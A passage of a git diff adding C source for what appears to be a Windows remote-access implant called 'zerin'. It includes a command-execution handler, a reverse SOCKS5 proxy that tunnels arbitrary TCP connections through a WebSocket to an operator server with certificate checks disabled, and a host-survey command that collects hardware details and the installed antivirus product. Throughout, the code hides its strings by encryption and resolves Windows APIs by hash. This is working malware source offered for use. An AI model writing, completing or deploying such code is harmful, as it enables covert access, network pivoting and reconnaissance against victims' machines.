(DWORD)(output_cap - output_len - 1), &bytes_read, NULL) && bytes_read > 0) { + output_len += bytes_read; + if (output_len + 1024 >= output_cap) { + output_cap *= 2; + char *new_out = (char *)realloc(output, output_cap); + if (!new_out) break; + output = new_out; + } + } + + // Read stderr and append + while (ReadFile(stderr_read, output + output_len, + (DWORD)(output_cap - output_len - 1), &bytes_read, NULL) && bytes_read > 0) { + output_len += bytes_read; + if (output_len + 1024 >= output_cap) { + output_cap *= 2; + char *new_out = (char *)realloc(output, output_cap); + if (!new_out) break; + output = new_out; + } + } + + output[output_len] = '\0'; + + // Now wait for process exit (pipe EOF means child closed its handles) + // Cast to uint64_t before multiplying to prevent 32-bit overflow, + // then cap at UINT32_MAX (maximum DWORD value for WaitForSingleObject). + DWORD timeout_ms; + if (task->timeout > 0) { + uint64_t ms64 = (uint64_t)task->timeout * 1000; + timeout_ms = (ms64 > UINT32_MAX) ? UINT32_MAX : (DWORD)ms64; + } else { + timeout_ms = 30000; + } + DWORD wait = WaitForSingleObject(pi.hProcess, timeout_ms); + + if (wait == WAIT_TIMEOUT) { + TerminateProcess(pi.hProcess, 1); + WaitForSingleObject(pi.hProcess, 1000); + } + + DWORD exit_code = 0; + GetExitCodeProcess(pi.hProcess, &exit_code); + + CloseHandle(stdout_read); + CloseHandle(stderr_read); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + result->success = (exit_code == 0 && wait != WAIT_TIMEOUT); + result->output = output; + result->data = NULL; + result->data_len = 0; + result->error_code = (int32_t)exit_code; + result->error_message = NULL; + if (wait == WAIT_TIMEOUT) { + result->error_message = _strdup("Command timed out"); + } + + return 0; +} diff --git a/src/commands/socks5.c b/src/commands/socks5.c new file mode 100755 index 0000000..8723e37 --- /dev/null +++ b/src/commands/socks5.c @@ -0,0 +1,740 @@ +/* + * SOCKS5 Reverse Proxy — agent side + * + * Opens a WebSocket to the server, receives OPEN/DATA/CLOSE messages, + * and connects to target hosts via Winsock. Each SOCKS5 client + * connection on the server maps to a "channel" here. + * + * Wire protocol (binary WebSocket frames): + * [1:msg_type][4:channel_id u32 LE][payload...] + * + * 0x01 OPEN server→agent [1:host_len][host_utf8][2:port_u16_LE] + * 0x02 OPEN_OK agent→server (empty payload) + * 0x03 OPEN_FAIL agent→server [1:reason_len][reason_utf8] + * 0x04 DATA bidirectional [2:data_len_u16_LE][data] + * 0x05 CLOSE bidirectional (empty payload) + * 0x06 PING server→agent (keepalive, channel_id=0) + * 0x07 PONG agent→server (keepalive response) + */ + +#include "zerin.h" +#include "obf_strings_gen.h" +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") +#pragma comment(lib, "winhttp.lib") + +/* ── Wire protocol constants ──────────────────────────────────────── */ + +#define MSG_OPEN 0x01 +#define MSG_OPEN_OK 0x02 +#define MSG_OPEN_FAIL 0x03 +#define MSG_DATA 0x04 +#define MSG_CLOSE 0x05 +#define MSG_PING 0x06 +#define MSG_PONG 0x07 + +#define MAX_CHANNELS 256 +#define RECV_BUF_SIZE 65536 + +/* ── Channel state ────────────────────────────────────────────────── */ + +typedef struct { + uint32_t channel_id; + SOCKET sock; + HANDLE thread; + volatile LONG alive; +} socks5_channel_t; + +/* ── Global SOCKS5 state ──────────────────────────────────────────── */ + +typedef struct { + char token[128]; + char server_url[ZERIN_MAX_URL_LEN]; + volatile LONG running; + + /* WinHTTP handles (separate session from beacon) */ + HINTERNET session; + HINTERNET connect; + wchar_t host[512]; + INTERNET_PORT port; + BOOL use_tls; + + /* WebSocket */ + HINTERNET ws_handle; + CRITICAL_SECTION ws_send_lock; + + /* Channel map */ + socks5_channel_t channels[MAX_CHANNELS]; + CRITICAL_SECTION channels_lock; +} socks5_state_t; + +static socks5_state_t *g_socks5 = NULL; +static HANDLE g_socks5_thread = NULL; + +/* ── Helpers ──────────────────────────────────────────────────────── */ + +static int s5_to_wide(const char *src, wchar_t *dst, size_t dst_chars) { + return MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, (int)dst_chars); +} + +static int s5_parse_url(const char *url, wchar_t *host_out, size_t host_chars, + INTERNET_PORT *port_out, BOOL *use_tls) { + const char *p = url; + *use_tls = FALSE; + + if (strncmp(p, "https://", 8) == 0) { + *use_tls = TRUE; + *port_out = 443; + p += 8; + } else if (strncmp(p, "http://", 7) == 0) { + *port_out = 80; + p += 7; + } else { + return -1; + } + + char host_narrow[512]; + const char *host_end = strchr(p, '/'); + const char *port_sep = strchr(p, ':'); + + if (port_sep && (!host_end || port_sep < host_end)) { + size_t hlen = (size_t)(port_sep - p); + if (hlen >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p, hlen); + host_narrow[hlen] = '\0'; + long pval = strtol(port_sep + 1, NULL, 10); + if (pval > 0 && pval <= 65535) + *port_out = (INTERNET_PORT)pval; + } else { + size_t hlen = host_end ? (size_t)(host_end - p) : strlen(p); + if (hlen >= sizeof(host_narrow)) return -1; + memcpy(host_narrow, p, hlen); + host_narrow[hlen] = '\0'; + } + + s5_to_wide(host_narrow, host_out, host_chars); + return 0; +} + +#ifdef _DEBUG +static void s5_log(const char *fmt, ...) { + char buf[512]; + va_list args; + va_start(args, fmt); + vsnprintf(buf, sizeof(buf), fmt, args); + va_end(args); + OutputDebugStringA(buf); + printf("%s", buf); + fflush(stdout); +} +#define S5_LOG(...) s5_log(__VA_ARGS__) +#else +#define S5_LOG(...) ((void)0) +#endif + +/* ── Channel management ───────────────────────────────────────────── */ + +static socks5_channel_t *s5_find_channel(socks5_state_t *s, uint32_t channel_id) { + for (int i = 0; i < MAX_CHANNELS; i++) { + if (s->channels[i].channel_id == channel_id && + InterlockedCompareExchange(&s->channels[i].alive, 1, 1)) + return &s->channels[i]; + } + return NULL; +} + +static socks5_channel_t *s5_alloc_channel(socks5_state_t *s, uint32_t channel_id) { + for (int i = 0; i < MAX_CHANNELS; i++) { + /* Atomic CAS: claim slot only if alive==0 → set to 1 */ + if (InterlockedCompareExchange(&s->channels[i].alive, 1, 0) == 0) { + s->channels[i].channel_id = channel_id; + s->channels[i].sock = INVALID_SOCKET; + s->channels[i].thread = NULL; + return &s->channels[i]; + } + } + return NULL; +} + +static void s5_free_channel(socks5_channel_t *ch) { + /* Atomically mark dead — if already dead, skip (prevents double-free) */ + if (InterlockedCompareExchange(&ch->alive, 0, 1) != 1) + return; + + if (ch->sock != INVALID_SOCKET) { + closesocket(ch->sock); + ch->sock = INVALID_SOCKET; + } + if (ch->thread) { + WaitForSingleObject(ch->thread, 5000); + CloseHandle(ch->thread); + ch->thread = NULL; + } + ch->channel_id = 0; +} + +static void s5_close_all_channels(socks5_state_t *s) { + for (int i = 0; i < MAX_CHANNELS; i++) { + if (InterlockedCompareExchange(&s->channels[i].alive, 1, 1)) { + s5_free_channel(&s->channels[i]); + } + } +} + +/* ── WebSocket send (thread-safe via CRITICAL_SECTION) ────────────── */ + +static int s5_ws_send(socks5_state_t *s, const uint8_t *data, size_t len) { + if (!s->ws_handle) return -1; + + EnterCriticalSection(&s->ws_send_lock); + DWORD err = WinHttpWebSocketSend(s->ws_handle, + WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE, + (void *)data, (DWORD)len); + LeaveCriticalSection(&s->ws_send_lock); + + if (err != ERROR_SUCCESS) { + S5_LOG("[S5] WinHttpWebSocketSend failed: %lu\n", err); + return -1; + } + return 0; +} + +/* ── Build and send wire messages ─────────────────────────────────── */ + +static int s5_send_open_ok(socks5_state_t *s, uint32_t channel_id) { + uint8_t msg[5]; + msg[0] = MSG_OPEN_OK; + memcpy(msg + 1, &channel_id, 4); /* LE on x86 */ + return s5_ws_send(s, msg, 5); +} + +static int s5_send_open_fail(socks5_state_t *s, uint32_t channel_id, const char *reason) { + size_t rlen = reason ? strlen(reason) : 0; + if (rlen > 255) rlen = 255; + size_t msg_len = 5 + 1 + rlen; + uint8_t *msg = (uint8_t *)malloc(msg_len); + if (!msg) return -1; + msg[0] = MSG_OPEN_FAIL; + memcpy(msg + 1, &channel_id, 4); + msg[5] = (uint8_t)rlen; + if (rlen > 0) memcpy(msg + 6, reason, rlen); + int rc = s5_ws_send(s, msg, msg_len); + free(msg); + return rc; +} + +static int s5_send_data(socks5_state_t *s, uint32_t channel_id, const uint8_t *data, uint16_t data_len) { + size_t msg_len = 5 + 2 + data_len; + uint8_t *msg = (uint8_t *)malloc(msg_len); + if (!msg) return -1; + msg[0] = MSG_DATA; + memcpy(msg + 1, &channel_id, 4); + msg[5] = (uint8_t)(data_len & 0xFF); + msg[6] = (uint8_t)(data_len >> 8); + memcpy(msg + 7, data, data_len); + int rc = s5_ws_send(s, msg, msg_len); + free(msg); + return rc; +} + +static int s5_send_close(socks5_state_t *s, uint32_t channel_id) { + uint8_t msg[5]; + msg[0] = MSG_CLOSE; + memcpy(msg + 1, &channel_id, 4); + return s5_ws_send(s, msg, 5); +} + +static int s5_send_pong(socks5_state_t *s) { + uint8_t msg[5]; + msg[0] = MSG_PONG; + memset(msg + 1, 0, 4); + return s5_ws_send(s, msg, 5); +} + +/* ── Channel thread: reads from TCP and sends DATA to WS ──────────── */ + +typedef struct { + socks5_state_t *state; + socks5_channel_t *channel; +} channel_thread_ctx_t; + +static DWORD WINAPI s5_channel_recv_thread(LPVOID param) { + channel_thread_ctx_t *ctx = (channel_thread_ctx_t *)param; + socks5_state_t *s = ctx->state; + socks5_channel_t *ch = ctx->channel; + uint32_t channel_id = ch->channel_id; + free(ctx); + + uint8_t buf[32768]; + + while (InterlockedCompareExchange(&ch->alive, 1, 1) && + InterlockedCompareExchange(&s->running, 1, 1)) { + int n = recv(ch->sock, (char *)buf, sizeof(buf), 0); + if (n <= 0) break; + + /* Send in chunks of up to 65535 bytes (u16 max) */ + int offset = 0; + while (offset < n) { + uint16_t chunk = (uint16_t)((n - offset) > 65535 ? 65535 : (n - offset)); + if (s5_send_data(s, channel_id, buf + offset, chunk) != 0) + goto done; + offset += chunk; + } + } + +done: + s5_send_close(s, channel_id); + /* Mark channel dead but don't wait on our own thread handle. + * The CAS in s5_free_channel prevents double-free if CLOSE arrives concurrently. */ + if (InterlockedCompareExchange(&ch->alive, 0, 1) == 1) { + if (ch->sock != INVALID_SOCKET) { + closesocket(ch->sock); + ch->sock = INVALID_SOCKET; + } + /* Don't WaitForSingleObject on our own thread — just close the handle */ + if (ch->thread) { + CloseHandle(ch->thread); + ch->thread = NULL; + } + ch->channel_id = 0; + } + return 0; +} + +/* ── Handle OPEN message: connect to target and start channel thread ── */ + +static void s5_handle_open(socks5_state_t *s, uint32_t channel_id, + const uint8_t *payload, size_t payload_len) { + if (payload_len < 1) { + s5_send_open_fail(s, channel_id, "bad open"); + return; + } + + uint8_t host_len = payload[0]; + if (payload_len < 1 + host_len + 2) { + s5_send_open_fail(s, channel_id, "bad open"); + return; + } + + char host[256]; + if (host_len >= sizeof(host)) { + s5_send_open_fail(s, channel_id, "host too long"); + return; + } + memcpy(host, payload + 1, host_len); + host[host_len] = '\0'; + + uint16_t port; + memcpy(&port, payload + 1 + host_len, 2); /* LE */ + + S5_LOG("[S5] OPEN ch=%u → %s:%u\n", channel_id, host, port); + + /* Allocate channel */ + EnterCriticalSection(&s->channels_lock); + socks5_channel_t *ch = s5_alloc_channel(s, channel_id); + LeaveCriticalSection(&s->channels_lock); + + if (!ch) { + s5_send_open_fail(s, channel_id, "no free channels"); + return; + } + + /* Resolve and connect via Winsock */ + struct addrinfo hints, *res = NULL; + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_protocol = IPPROTO_TCP; + + char port_str[8]; + snprintf(port_str, sizeof(port_str), "%u", port); + + int gai = getaddrinfo(host, port_str, &hints, &res); + if (gai != 0 || !res) { + s5_send_open_fail(s, channel_id, "resolve failed"); + s5_free_channel(ch); + return; + } + + SOCKET sock = socket(res->ai_family, res->ai_socktype, res->ai_protocol); + if (sock == INVALID_SOCKET) { + freeaddrinfo(res); + s5_send_open_fail(s, channel_id, "socket failed"); + s5_free_channel(ch); + return; + } + + if (connect(sock, res->ai_addr, (int)res->ai_addrlen) == SOCKET_ERROR) { + freeaddrinfo(res); + closesocket(sock); + s5_send_open_fail(s, channel_id, "connect failed"); + s5_free_channel(ch); + return; + } + freeaddrinfo(res); + + ch->sock = sock; + s5_send_open_ok(s, channel_id); + + /* Spawn receive thread for this channel */ + channel_thread_ctx_t *ctx = (channel_thread_ctx_t *)malloc(sizeof(channel_thread_ctx_t)); + if (!ctx) { + s5_send_close(s, channel_id); + s5_free_channel(ch); + return; + } + ctx->state = s; + ctx->channel = ch; + ch->thread = CreateThread(NULL, 0, s5_channel_recv_thread, ctx, 0, NULL); + if (!ch->thread) { + free(ctx); + s5_send_close(s, channel_id); + s5_free_channel(ch); + } +} + +/* ── Handle DATA message: write to target TCP socket ──────────────── */ + +static void s5_handle_data(socks5_state_t *s, uint32_t channel_id, + const uint8_t *payload, size_t payload_len) { + if (payload_len < 2) return; + + uint16_t data_len = (uint16_t)(payload[0] | (payload[1] << 8)); + if (payload_len < 2 + data_len) return; + + EnterCriticalSection(&s->channels_lock); + socks5_channel_t *ch = s5_find_channel(s, channel_id); + if (!ch || ch->sock == INVALID_SOCKET) { + LeaveCriticalSection(&s->channels_lock); + return; + } + /* Hold ref to socket while sending (channel won't be freed while locked) */ + SOCKET sock = ch->sock; + LeaveCriticalSection(&s->channels_lock); + + const uint8_t *data = payload + 2; + int total_sent = 0; + while (total_sent < (int)data_len) { + int n = send(sock, (const char *)(data + total_sent), + (int)(data_len - total_sent), 0); + if (n == SOCKET_ERROR) { + s5_send_close(s, channel_id); + s5_free_channel(ch); + return; + } + total_sent += n; + } +} + +/* ── Handle CLOSE message ─────────────────────────────────────────── */ + +static void s5_handle_close(socks5_state_t *s, uint32_t channel_id) { + EnterCriticalSection(&s->channels_lock); + socks5_channel_t *ch = s5_find_channel(s, channel_id); + LeaveCriticalSection(&s->channels_lock); + if (ch) { + s5_free_channel(ch); /* CAS in s5_free_channel prevents double-free */ + } +} + +/* ── WebSocket connect ────────────────────────────────────────────── */ + +static BOOL s5_ws_connect(socks5_state_t *s) { + wchar_t ws_path[512]; + wchar_t token_w[256]; + s5_to_wide(s->token, token_w, 256); + _snwprintf(ws_path, 512, L"/api/socks5/ws?token=%ls", token_w); + ws_path[511] = L'\0'; + + DWORD flags = s->use_tls ? WINHTTP_FLAG_SECURE : 0; + HINTERNET request = WinHttpOpenRequest(s->connect, L"GET", ws_path, + NULL, WINHTTP_NO_REFERER, + WINHTTP_DEFAULT_ACCEPT_TYPES, flags); + if (!request) { + S5_LOG("[S5] WinHttpOpenRequest failed: %lu\n", GetLastError()); + return FALSE; + } + + if (s->use_tls) { + DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID; + WinHttpSetOption(request, WINHTTP_OPTION_SECURITY_FLAGS, + &sec_flags, sizeof(sec_flags)); + } + + if (!WinHttpSetOption(request, WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET, NULL, 0)) { + S5_LOG("[S5] WINHTTP_OPTION_UPGRADE_TO_WEB_SOCKET failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return FALSE; + } + + if (!WinHttpSendRequest(request, WINHTTP_NO_ADDITIONAL_HEADERS, 0, + WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { + S5_LOG("[S5] WinHttpSendRequest failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return FALSE; + } + + if (!WinHttpReceiveResponse(request, NULL)) { + S5_LOG("[S5] WinHttpReceiveResponse failed: %lu\n", GetLastError()); + WinHttpCloseHandle(request); + return FALSE; + } + + DWORD status_code = 0; + DWORD status_size = sizeof(status_code); + WinHttpQueryHeaders(request, + WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, + WINHTTP_HEADER_NAME_BY_INDEX, &status_code, &status_size, + WINHTTP_NO_HEADER_INDEX); + + if (status_code != 101) { + S5_LOG("[S5] Upgrade failed, HTTP %lu (expected 101)\n", (unsigned long)status_code); + WinHttpCloseHandle(request); + return FALSE; + } + + s->ws_handle = WinHttpWebSocketCompleteUpgrade(request, 0); + WinHttpCloseHandle(request); + + if (!s->ws_handle) { + S5_LOG("[S5] WinHttpWebSocketCompleteUpgrade failed: %lu\n", GetLastError()); + return FALSE; + } + + S5_LOG("[S5] WebSocket connected\n"); + return TRUE; +} + +/* ── Main thread: WS receive loop ─────────────────────────────────── */ + +static DWORD WINAPI socks5_main_thread(LPVOID param) { + socks5_state_t *s = (socks5_state_t *)param; + + /* Initialize Winsock */ + WSADATA wsa; + WSAStartup(MAKEWORD(2, 2), &wsa); + + /* Create own WinHTTP session */ + s->session = WinHttpOpen(L"Mozilla/5.0", + WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, + WINHTTP_NO_PROXY_NAME, + WINHTTP_NO_PROXY_BYPASS, 0); + if (!s->session) { + S5_LOG("[S5] WinHttpOpen failed: %lu\n", GetLastError()); + goto exit_thread; + } + + s->connect = WinHttpConnect(s->session, s->host, s->port, 0); + if (!s->connect) { + S5_LOG("[S5] WinHttpConnect failed: %lu\n", GetLastError()); + goto exit_thread; + } + + /* Connect WebSocket */ + if (!s5_ws_connect(s)) { + S5_LOG("[S5] WebSocket connect failed\n"); + goto exit_thread; + } + + S5_LOG("[S5] Main loop started\n"); + + /* Receive loop — process messages from server */ + uint8_t *recv_buf = (uint8_t *)malloc(RECV_BUF_SIZE); + if (!recv_buf) goto exit_thread; + + while (InterlockedCompareExchange(&s->running, 1, 1)) { + DWORD bytes_read = 0; + WINHTTP_WEB_SOCKET_BUFFER_TYPE buf_type; + + DWORD err = WinHttpWebSocketReceive(s->ws_handle, + recv_buf, RECV_BUF_SIZE, &bytes_read, &buf_type); + + if (err != ERROR_SUCCESS) { + S5_LOG("[S5] WinHttpWebSocketReceive error: %lu\n", err); + break; + } + + if (buf_type == WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE) { + S5_LOG("[S5] Server closed WebSocket\n"); + break; + } + + if (bytes_read < 5) continue; + + uint8_t msg_type = recv_buf[0]; + uint32_t channel_id; + memcpy(&channel_id, recv_buf + 1, 4); + const uint8_t *payload = recv_buf + 5; + size_t payload_len = bytes_read - 5; + + switch (msg_type) { + case MSG_OPEN: + s5_handle_open(s, channel_id, payload, payload_len); + break; + case MSG_DATA: + s5_handle_data(s, channel_id, payload, payload_len); + break; + case MSG_CLOSE: + s5_handle_close(s, channel_id); + break; + case MSG_PING: + s5_send_pong(s); + break; + default: + S5_LOG("[S5] Unknown msg type 0x%02x\n", msg_type); + break; + } + } + + free(recv_buf); + +exit_thread: + /* Cleanup */ + s5_close_all_channels(s); + if (s->ws_handle) { + WinHttpWebSocketClose(s->ws_handle, WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); + WinHttpCloseHandle(s->ws_handle); + s->ws_handle = NULL; + } + if (s->connect) { WinHttpCloseHandle(s->connect); s->connect = NULL; } + if (s->session) { WinHttpCloseHandle(s->session); s->session = NULL; } + WSACleanup(); + InterlockedExchange(&s->running, 0); + S5_LOG("[S5] Main thread exited\n"); + return 0; +} + +/* ── Stop helper ──────────────────────────────────────────────────── */ + +static void socks5_stop_existing(void) { + if (g_socks5 && InterlockedCompareExchange(&g_socks5->running, 1, 1)) { + InterlockedExchange(&g_socks5->running, 0); + + /* Close the WS handle to unblock WinHttpWebSocketReceive. + * Also call WinHttpCloseHandle and NULL the pointer so the + * main thread's cleanup won't double-close. */ + if (g_socks5->ws_handle) { + WinHttpWebSocketClose(g_socks5->ws_handle, + WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS, NULL, 0); + WinHttpCloseHandle(g_socks5->ws_handle); + g_socks5->ws_handle = NULL; + } + + if (g_socks5_thread) { + WaitForSingleObject(g_socks5_thread, 10000); + CloseHandle(g_socks5_thread); + g_socks5_thread = NULL; + } + + DeleteCriticalSection(&g_socks5->ws_send_lock); + DeleteCriticalSection(&g_socks5->channels_lock); + free(g_socks5); + g_socks5 = NULL; + } +} + +/* ── Command handlers ─────────────────────────────────────────────── */ + +int cmd_socks5_start(const task_t *task, task_result_t *result, char *cwd) { + (void)cwd; + + if (task->num_args < 2) { + result->success = false; + result->error_code = -1; + result->error_message = _strdup("bad args: [token, server_url]"); + return -1; + } + + /* Stop existing session if any */ + socks5_stop_existing(); + + /* Allocate state */ + socks5_state_t *s = (socks5_state_t *)calloc(1, sizeof(socks5_state_t)); + if (!s) { + result->success = false; + result->error_message = _strdup("ERR 601: alloc"); + return -1; + } + + strncpy(s->token, task->args[0], sizeof(s->token) - 1); + strncpy(s->server_url, task->args[1], sizeof(s->server_url) - 1); + + /* Initialize channels */ + for (int i = 0; i < MAX_CHANNELS; i++) { + s->channels[i].sock = INVALID_SOCKET; + s->channels[i].alive = 0; + } + + InitializeCriticalSection(&s->ws_send_lock); + InitializeCriticalSection(&s->channels_lock); + + /* Parse URL */ + if (s5_parse_url(s->server_url, s->host, 512, &s->port, &s->use_tls) != 0) { + DeleteCriticalSection(&s->ws_send_lock); + DeleteCriticalSection(&s->channels_lock); + free(s); + result->success = false; + result->error_message = _strdup("ERR 602: url parse"); + return -1; + } + + /* Start main thread */ + InterlockedExchange(&s->running, 1); + InterlockedExchangePointer((volatile PVOID *)&g_socks5, s); + + HANDLE thread = CreateThread(NULL, 0, socks5_main_thread, s, 0, NULL); + if (!thread) { + InterlockedExchangePointer((volatile PVOID *)&g_socks5, NULL); + DeleteCriticalSection(&s->ws_send_lock); + DeleteCriticalSection(&s->channels_lock); + free(s); + result->success = false; + result->error_message = _strdup("ERR 603: thread create"); + return -1; + } + InterlockedExchangePointer((volatile PVOID *)&g_socks5_thread, thread); + + { + char msg_buf[64]; + obf_decrypt_to(OBF_SOCKS5_STARTED, msg_buf, sizeof(msg_buf)); + result->success = true; + result->output = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + } + return 0; +} + +int cmd_socks5_stop(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + if (!g_socks5 || !InterlockedCompareExchange(&g_socks5->running, 1, 1)) { + char msg_buf[64]; + obf_decrypt_to(OBF_SOCKS5_NOT_RUNNING, msg_buf, sizeof(msg_buf)); + result->success = true; + result->output = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + return 0; + } + + socks5_stop_existing(); + + { + char msg_buf[64]; + obf_decrypt_to(OBF_SOCKS5_STOPPED, msg_buf, sizeof(msg_buf)); + result->success = true; + result->output = _strdup(msg_buf); + obf_wipe(msg_buf, sizeof(msg_buf)); + } + return 0; +} + +void socks5_cleanup(void) { + socks5_stop_existing(); +} diff --git a/src/commands/specs.c b/src/commands/specs.c new file mode 100755 index 0000000..8ff5fd4 --- /dev/null +++ b/src/commands/specs.c @@ -0,0 +1,259 @@ +#include "zerin.h" +#include +#include +#include + +static void json_escape_s(char *dst, size_t dst_len, const char *src) { + size_t j = 0; + for (size_t i = 0; src[i] && j + 6 < dst_len; i++) { + unsigned char c = (unsigned char)src[i]; + if (c == '"') { dst[j++] = '\\'; dst[j++] = '"'; } + else if (c == '\\') { dst[j++] = '\\'; dst[j++] = '\\'; } + else if (c == '\n') { dst[j++] = '\\'; dst[j++] = 'n'; } + else if (c == '\r') { dst[j++] = '\\'; dst[j++] = 'r'; } + else if (c == '\t') { dst[j++] = '\\'; dst[j++] = 't'; } + else if (c < 0x20) { j += snprintf(dst + j, dst_len - j, "\\u%04x", c); } + else { dst[j++] = c; } + } + dst[j] = '\0'; +} + +static void get_cpu_name(char *buf, size_t len) { + HKEY hKey; + buf[0] = '\0'; + char cpu_reg[64]; + obf_decrypt_to(OBF_REG_CPU, cpu_reg, sizeof(cpu_reg)); + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, + cpu_reg, + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + DWORD size = (DWORD)len; + RegQueryValueExA(hKey, "ProcessorNameString", NULL, NULL, (LPBYTE)buf, &size); + RegCloseKey(hKey); + } + if (buf[0] == '\0') strncpy(buf, "Unknown", len); + // Trim leading/trailing spaces + char *s = buf; + while (*s == ' ') s++; + if (s != buf) memmove(buf, s, strlen(s) + 1); + char *e = buf + strlen(buf) - 1; + while (e > buf && *e == ' ') *e-- = '\0'; +} + +static void get_gpu_name(char *buf, size_t len) { + HKEY hKey; + buf[0] = '\0'; + // Try common video adapter registry path + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, + "SYSTEM\\CurrentControlSet\\Control\\Class\\{4d36e968-e325-11ce-bfc1-08002be10318}\\0000", + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + DWORD size = (DWORD)len; + RegQueryValueExA(hKey, "DriverDesc", NULL, NULL, (LPBYTE)buf, &size); + RegCloseKey(hKey); + } + if (buf[0] == '\0') strncpy(buf, "Unknown", len); +} + +static void get_os_name(char *buf, size_t len) { + typedef NTSTATUS (NTAPI *RtlGetVersionFn)(PRTL_OSVERSIONINFOW); + RTL_OSVERSIONINFOW vi; + vi.dwOSVersionInfoSize = sizeof(vi); + + { + RtlGetVersionFn fn = RESOLVE_API(HASH_NTDLL, HASH_RtlGetVersion, RtlGetVersionFn); + if (fn && fn(&vi) == 0) { + snprintf(buf, len, "Windows %lu.%lu Build %lu", + vi.dwMajorVersion, vi.dwMinorVersion, vi.dwBuildNumber); + return; + } + } + strncpy(buf, "Windows (unknown)", len); +} + +void get_av_product(char *buf, size_t len) { + // Use WMIC to query AV - 5 second timeout + buf[0] = '\0'; + + SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE }; + HANDLE rd = NULL, wr = NULL; + if (!CreatePipe(&rd, &wr, &sa, 0)) { strncpy(buf, "Unknown", len); return; } + SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + memset(&si, 0, sizeof(si)); + memset(&pi, 0, sizeof(pi)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESTDHANDLES; + si.hStdOutput = wr; + si.hStdError = wr; + si.hStdInput = NULL; + + char cmdline[256]; + obf_decrypt_to(OBF_WMIC_AV, cmdline, sizeof(cmdline)); + BOOL ok = CreateProcessA(NULL, cmdline, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); + CloseHandle(wr); + + if (!ok) { CloseHandle(rd); strncpy(buf, "Unknown", len); return; } + + DWORD wait = WaitForSingleObject(pi.hProcess, 5000); + if (wait == WAIT_TIMEOUT) { + TerminateProcess(pi.hProcess, 1); + WaitForSingleObject(pi.hProcess, 1000); + } + + char tmp[1024] = {0}; + DWORD br; + ReadFile(rd, tmp, sizeof(tmp) - 1, &br, NULL); + tmp[br] = '\0'; + + CloseHandle(rd); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + // Parse "displayName=..." lines + char *p = strstr(tmp, "displayName="); + if (p) { + p += 12; // skip "displayName=" + char *end = p; + while (*end && *end != '\r' && *end != '\n') end++; + size_t name_len = (size_t)(end - p); + if (name_len >= len) name_len = len - 1; + memcpy(buf, p, name_len); + buf[name_len] = '\0'; + } else { + strncpy(buf, "None detected", len); + } +} + +int cmd_specs(const task_t *task, task_result_t *result, char *cwd) { + (void)task; (void)cwd; + + // CPU + char cpu_name[256]; + get_cpu_name(cpu_name, sizeof(cpu_name)); + + SYSTEM_INFO sysinfo; + GetNativeSystemInfo(&sysinfo); + DWORD logical_cores = sysinfo.dwNumberOfProcessors; + + // Physical cores (via GetLogicalProcessorInformation) + DWORD phys_cores = logical_cores; + { + DWORD buf_len = 0; + GetLogicalProcessorInformation(NULL, &buf_len); + if (buf_len > 0) { + SYSTEM_LOGICAL_PROCESSOR_INFORMATION *buf = + (SYSTEM_LOGICAL_PROCESSOR_INFORMATION *)malloc(buf_len); + if (buf && GetLogicalProcessorInformation(buf, &buf_len)) { + DWORD count = 0; + DWORD entries = buf_len / sizeof(SYSTEM_LOGICAL_PROCESSOR_INFORMATION); + for (DWORD i = 0; i < entries; i++) { + if (buf[i].Relationship == RelationProcessorCore) + count++; + } + if (count > 0) phys_cores = count; + } + free(buf); + } + } + + // RAM + MEMORYSTATUSEX mem; + mem.dwLength = sizeof(mem); + GlobalMemoryStatusEx(&mem); + double total_gb = (double)mem.ullTotalPhys / (1024.0 * 1024.0 * 1024.0); + double avail_gb = (double)mem.ullAvailPhys / (1024.0 * 1024.0 * 1024.0); + + // GPU + char gpu_name[256]; + get_gpu_name(gpu_name, sizeof(gpu_name)); + + // OS + char os_name[256]; + get_os_name(os_name, sizeof(os_name)); + + // Uptime + ULONGLONG uptime_ms = GetTickCount64(); + DWORD up_days = (DWORD)(uptime_ms / 86400000ULL); + DWORD up_hours = (DWORD)((uptime_ms % 86400000ULL) / 3600000ULL); + DWORD up_mins = (DWORD)((uptime_ms % 3600000ULL) / 60000ULL); + + // AV + char av_name[256]; + get_av_product(av_name, sizeof(av_name)); + + // Disks (GetLogicalDriveStringsA + GetDiskFreeSpaceExA) + char disk_json[4096] = "["; + size_t dj_len = 1; + int disk_count = 0; + { + char drives[256]; + DWORD dr = GetLogicalDriveStringsA(sizeof(drives), drives); + if (dr > 0 && dr < sizeof(drives)) { + char *d = drives; + while (*d) { + UINT type = GetDriveTypeA(d); + if (type == DRIVE_FIXED || type == DRIVE_REMOVABLE) { + ULARGE_INTEGER free_bytes, total_bytes; + if (GetDiskFreeSpaceExA(d, NULL, &total_bytes, &free_bytes)) { + double total = (double)total_bytes.QuadPart / (1024.0 * 1024.0 * 1024.0); + double free_space = (double)free_bytes.QuadPart / (1024.0 